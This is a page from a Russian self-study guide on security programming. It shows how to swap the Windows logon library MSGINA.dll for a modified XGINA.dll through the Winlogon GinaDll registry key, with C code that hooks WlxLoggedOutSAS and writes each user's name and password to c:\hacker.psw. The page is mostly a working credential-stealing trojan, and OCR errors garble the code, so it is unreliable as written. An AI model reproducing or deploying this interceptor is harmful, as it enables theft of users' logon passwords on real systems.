Иллюстрированный самоучитель по программированию систем защиты

Модифицированная библиотека Gina

Модифицированная библиотека (полностью текст и описание состояний приведено выше) Gina XGINA.dll реализует перехват экспортируемых оригинальной MSGINA функций с последующей передачей им управления. Собственные обработчики должны иметь такие же имена, что и оригинальные (экспортируемые библиотекой MSGINA).

Для того чтобы вместо оригинальной библиотеки MSGINA.dll в процесс winlogon подгружалась модифицированная библиотека XGINA.dll, нужно задать в ключе реестра \Registry\Machine\Software\Microsoft\Windo\vs NT\Current Version\Winlogon запись:

GinaDll = c:\xgina.dll.

XGINA.dll во время загрузки в процесс Winlogon должна сначала подгрузить оригинальную библиотеку MSGINA.DLL, а затем получить адреса экспортируемых этой библиотекой функций, для того чтобы использовать эти адреса в собственных обработчиках:

WLXNEGOTIATE
WLXINITIALIZE
WLXDISPLAYSASNOTICE
WLXLOGGEDOUTSAS
WLXACTIVATEUSERSHELL
WLXLOGGEDONSAS
WLXISLOCKOK
WLXDISPLAYLOCKEDNOTICE
WLXWKSTALOCKEDSAS
g_lpWlxNegotiate = NULL; g_lpWlxInitialize = NULL;
g_lpWlxDisplaySASNotice = NULL; g_lpWlxLoggedOutSAS = NULL;
g_lpWlxActivateUserShell = NULL; g_lpWlxLoggedOnSAS = NULL; g_lpWlx!sLockOk = NULL;
g_lpWlxDisplctyLockedNotice = NULL; g IpWlxWkstaLockedSAS = NULL;
WLXISLOGOFFOK g_lpWlx!sLogoffOk = NULL;
WLXLOGOFF .g_lpWlxLogoff " NULL;
WLXSHUTDOWN g_lpWlxShutdown – NULL;
BOOL InitMSGinaDllO
{.
hMSGinaDLL = LoadLibrary(_T("MSGINA.DLL"));
if (hMSGinaDLL == NULL)
{
return FALSE; }
MessageBox(NULL,_T("Load Original Library MSGINA"), _T("GinaDebug"), MB_OK);
g_lpWlxNegotiate = (WLXNEGOTIATE)GetProcAddress(hMSGinaDLL, "WlxNegotiate");
g_lpWlxInitialize = (WLXINITIALIZE)GetProcAddress(hMSGinaDLL, "Wlxlnitialize");
g_lpWlxDisplaySASNotice = (WLXDISPLAYSASNOTICE)
GetProcAddress(hMSGinaDLL, "WlxDisplaySASNotice");
g_lpWlxLoggedOutSAS – = (WLXLOGGEDOUTSAS)GetProcAddress (hMSGinaDLL, "WlxLoggedOutSAS");
g_lpWlxActivateUserShell = (WLXACTIVATEUSERSHELL)
 GetProcAddress(hMSGinaDLL, "WlxActivateUserShell");
g_lpWlxLoggedOnSAS = (WLXLOGGEDONSAS)GetProcAddress(hMSGinaDLL,
"WlxLoggedOnSAS");
g_lpWlx!sLockOk = (WLXISLOCKOK)GetProcAddress(hMSGinaDLL, "WlxIsLockOk");
g_lpWlxDisplayLockedNotice = (WLXDISPLAYLOCKEDNOTICE)
GetProcAddress(hMSGinaDLL, "WlxDisplayLockedNotice");
g_lpWlxWkstaLockedSAS = (-WLXWKSTALOCKEDSAS.)
GetProcAddress(hMSGinaDLL, "WlxWkstaLockedSAS");
g_lpWlx!sLogoffOk = (WLXISLOGOFFOK)GetProcAddress(hMSGinaDLL, "WlxIsLogoffOk");
g_lpWlxLogoff = (WLXLOGOFF)GetProcAddress(hMSGinaDLL, "WlxLogoff");
 g_lpWlxShutdown = (WLXSHUTDOWN)GetProcAddress(hMSGinaDLL, "WlxShutdown");
MessageBox(NULL,_T("All Function Attach Succesfully"), _T ("GinaDebug"), MBJDK); return TRUE;

Ниже приведен пример нового обработчика экспортируемой функции WlxLoggedOutSAS:

int WINAPI WlxLoggedOutSAS(PVOID pWlxContext, DWORD dwSasType,
FLUID pAuthenticationld,
//ID, ассоциированный с текущей сессией logon
PSID pLogonSid,
//SID уникальный для текущей сессией logon
PDWORD pdwOptions, //опция загрузки профиля PHANDLE phToken,
PWLX_MPR_NOTIFY_INFO pMprNotifylnfo, //парольная информация PVOID* pProfile)
//указатель на одну из структур WLX_PROFILE_xxx { '
int res,i; FILE *out;
UCHAR current_name[32],current_pass[32]; UCHAR pro[2]={0x20.0}; UCHAR end[3]={OxD,OxA,0};
MessageBox(NULL,_T("WlxLoggedOutSAS"),_T("GinaDebug"),MB_OK);
 //вызов оригинальной функции WlxLoggedOutSAS res = g_lpWlxLoggedOutSAS(
pWlxContext, dwSasType, pAuthenticationld, pLogonSid, pdwOptions, phToken, pMprNotifylnfo,
pProfile);
if(res == WLX_SAS_ACTION_LOGON) {
for (i=0;i<32;i++) current_name[i]=0; for (i=0;i<32;i++)
{
if(pMprNotify!nfo › pszUserName[i]==0) break;
 else current_name[i]=pMprNotify!nfo › pszUserName[i]; //получение имени пользователя
for(i=0;i<32;i++) current_pass[i]=0; for (i=0;i<32;i+,+)
if(pMprNotify!nfo › pszPassword[i]==0) break;
else current_pass[i]=pMprNotify!nfo › pszPassword[i]; //получение пароля пользователя
out=fopen ("с: \\hacker.psw", "r+b"); if (out!=NULL) {
f seek (out, 0, SEEK_END);
//вывод имени пользователя в файл
 с: \\hacker.psw f write (cur rent_name, sizeof (char), strlen (current_name), out);
fwrite (pro, sizeof (char), 1, out);
//вывод пароля пользователя в файл
 с: \\hacker.psw fwrite (current_pass, sizeof (char), strlen (current_pass), out);
fwrite (end, sizeof (char), 2, out); fclose (out);
'
return res;
Если Вы заметили ошибку, выделите, пожалуйста, необходимый текст и нажмите CTRL + Enter, чтобы сообщить об этом редактору.